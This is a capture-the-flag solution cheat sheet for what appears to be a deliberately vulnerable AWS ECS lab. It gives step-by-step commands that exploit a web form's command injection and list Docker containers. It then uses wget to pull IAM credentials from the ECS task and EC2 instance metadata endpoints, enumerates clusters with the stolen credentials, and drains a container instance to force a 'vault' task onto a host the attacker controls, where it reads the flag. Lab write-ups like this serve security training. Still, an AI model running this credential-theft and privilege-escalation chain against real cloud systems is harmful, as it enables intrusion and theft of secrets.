[Cheat Sheet] Solution steps (CLI)

Christophe • August 27, 2023

Find the command injection vulnerability in the website. The following payload could contain any bash command, it's just a POC. There is only one input field in the application, so it should be straightforward to determine where this payload goes.

```
; echo 'hello world'
```

Using command injection list all of the containers on the host. You should see containers with name containing "vulnsite" and "privd". vulnsite is hosting the webapp that you just exploited, and privd is sleeping for a year (literally), but runs as a role that will be relevant to us later.

```
; docker ps
```

The ID for the privd container the will be the first field in the output from the following command.

```
; docker ps | grep privd
```

Using command injection get the container credentials for the privd container as well as the host ECS instance. If you've not seen the endpoints listed below, they are very common targets.

```
; docker exec <privd container id> sh -c 'wget -O- 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI';
docker
exec <privd container id> sh -c 'wget -O- 169.254.169.254/latest/meta-data/iam/security-credentials/'; docker
exec <privd container id> sh -c 'wget -O- 169.254.169.254/latest/meta-data/iam/security-credentials/<your-
specific-ecs-agent>'
```

You can learn more about ECS Task roles here: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-iam-roles.html

And ec2 metadata here: https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/instancedata-data-retrieval.html

With the escalated credentials from the privd container, list the clusters in the account then enumerate the tasks.

```
aws --profile <container_credentials> ecs list-clusters
aws --profile <container_credentials> ecs list-tasks --cluster <your_cluster_name> --query taskArns --out text
```

After listing all of the tasks, you can use the following commands to iterate over them and get some more information.

```
# the following command will describe the target task which will include the name of the corresponding service:
aws --profile <container_credentials> ecs describe-tasks --cluster <your_cluster_name> --tasks <target_task>
# this command will reveal if the service is scheduled as a replica or daemon.
aws --profile <container_credentials> ecs describe-services --cluster <your_cluster_name> --services
<target_service>
```

This next step is the crux of the whole operation. In the previous step you will have listed out all of the tasks and their corresponding ecs instances (which are the ec2 instances that tasks, and therefore docker containers, are running on). You'll also know how each service is scheduled. We see that on a second ecs instance there is a task that we have previously did not have access to. Because that task is scheduled as a replica, ecs will attempt to reschedule it on an available ecs instance if it's current host instance goes down for some reason. We can deliberately take that instance down using the credentials we got from the host earlier, forcing it to be rescheduled onto an instance that we have more control over.

```
aws --profile <host_credentials> ecs update-container-instances-state --cluster <your_cluster_name> --
container-instances <target_container_instance> --status DRAINING
```

Wait for "Vault" container to be rescheduled, this can be checked by running docker via command injection.

```
; docker ps | grep vault
```

Using the command injection on the website get the flag from the "vault" container.

```
; docker exec <vault container id> ls
; docker exec <vault container id> cat FLAG.TXT
```

If you want more information about REPLICA/DAEMON scheduling read here: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html If you want information on on what DRAINING means, or ecs instances in general, read here: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ECS_instances.html